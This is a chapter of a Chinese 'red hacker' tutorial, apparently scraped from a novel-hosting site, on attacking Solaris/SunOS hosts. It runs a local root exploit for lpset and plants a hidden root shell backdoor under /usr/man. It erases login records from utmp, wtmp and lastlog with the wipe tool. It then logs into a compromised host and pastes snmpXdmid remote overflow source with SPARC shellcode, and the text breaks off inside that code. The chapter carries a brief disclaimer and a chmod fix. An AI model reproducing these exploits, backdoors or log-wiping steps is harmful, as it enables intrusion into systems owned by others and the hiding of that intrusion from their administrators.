第31章
《30天打造专业红客》章节:第31章,宠文网网友提供全文无弹窗免费在线阅读。!
)
$cd /tmp
lpset.c放在/tmp目录了。
$ls
lpset.c
建立了。
$gcc -o lpset lpset.c
$
编译程序。
小技巧:Solaris默认是没有gcc的。我们可以用命令“whereis -b gcc”查找。因为管理员通常会在“/usr/local/bin”留下一个gcc的。
命令:chmod 777 lpset
设置程序“lpset”的属性为所有组所有用户都能访问。
$chmod 777 lpset
命令:./lpset
执行程序。
$./lpset
copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl/
/usr/bin/lpset for solaris 2.6 2.7 sparc
sh: syntax error at line 1: `(' unexpected
#
命令:id
查看自己的所属的组别。
#id
uid=1035(delex) gid=20(staff) euid=0(root)
“euid=0(root)”取得root权限了。
做个后门:
# mkdir /usr/man/man5/shell
在man文件夹里新建一个文件夹,没那么容易给别人发现。(每台主机的情况都不同。)
# cp /bin/ksh /usr/man/man5/shell
# chmod 777 /usr/man/man5/shell
一个简单的后门就做好了。
以后,我们可以用oracle登陆,然后“./usr/man/man5/shell”取得root权限。
用wipe-1.00清除日志。
先把wipe-1.00.tgz上传到主机。
通常ftp的密码与telnet的密码一样。
# gzip -d wipe-1.00.tgz
# tar -xf wipe-1.00.tar
# cd wipe-1.00
# make
Wipe v0.01 !
Usage: 'make ' where System types are:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi netbsd hpux
#
其中:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi netbsd hpux
为“选择系统”。
我们这里用“solaris2”。
#make solaris2
gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c
成功了。
#./wipe
USAGE: wipe [ u|w|l|a ] ...options...
UTMP editing:
Erase all usernames:wipe u [username]
Erase one username on tty:wipe u [username] [tty]
WTMP editing:
Erase last entry for user :wipe w [username]
Erase last entry on tty:wipe w [username] [tty]
LASTLOG editing:
Blank lastlog for user :wipe l [username]
Alter lastlog entry :wipe l [username] [tty] [time] [host]
Where [time] is in the format [YYMMddhhmm]
ACCT editing:
Erase acct entries on tty :wipe a [username] [tty]
说明:
u 选项为 utmp utmpx 日志清除。
w 选项为 wtmp wtmpx 日志清除。
l 选项为 lastlog 日志清除。
a 选项为 pacct 日志清除。
方法:./wipe u oracle;./wipe w oracle;./wipe l oracle
#./wipe u oracle;./wipe w oracle;./wipe l oracle
Patching /var/adm/utmp .... Done.
Patching /var/adm/utmpx .... Done.
Patching /var/adm/wtmp .... Done.
Patching /var/adm/wtmpx .... Done.
Patching /var/adm/lastlog .... Done.
其中oracle为刚才登陆的用户名。
小技巧:我们可以用 ./wipe u oracle 隐藏自己。
运行:./wipe u oracle 前
# w
>下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
oracle pts/1 下午 20:00 3 w
运行:./wipe u oracle 后
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令
最后,我们可以放个worm寻找更多机子。
当然,我们的目的不是为了入侵。帮主机打上补丁是最好的主意。
解决方法:chmod -s /usr/bin/lpset
『第26天』Sunos(二)
接着昨天的,今天,我们来看看Sunos的远程溢出。
本次范例需要的系统及程序情况如下:
操作系统:Window2000 To Sunos 5.8
对方操作系统:Sunos 5.8
程序(一):snmpxdmid.c
本机IP:127.0.0.1
测试IP:127.0.0.29
新程序说明:“snmpxdmid.c”是利用Rpc的snmpxdmid服务写的exploit。
Solaris snmpXdmid 远程缓冲区溢出漏洞:
Solaris 2.6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务,这个服务主要用
于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。
在 UXIX 中,Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了SNMPxDMID(/usr/lib/dmi/snmpXdmid)映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI,但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。
测试开始:
telnet ***.***.***.***
* telnet上我的肉鸡。
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
$./usr/man/man5/shell
#
* 取得root权限。
# cat > snmpxdmid.c
* 把exploit贴到主机上。
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl/ #*/
/*## snmpXdmid #*/
/* as the final jump to the assembly code is made to the heap area, this code */
/* also works against machines with non-exec stack protection turned on */
/* due to large data transfers of about 128KB, the code may need some time to */
/* proceed, so be patient */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101
char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
>"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz */
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc */
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
static char nop[]="\x80\x1c\x40\x11";
typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!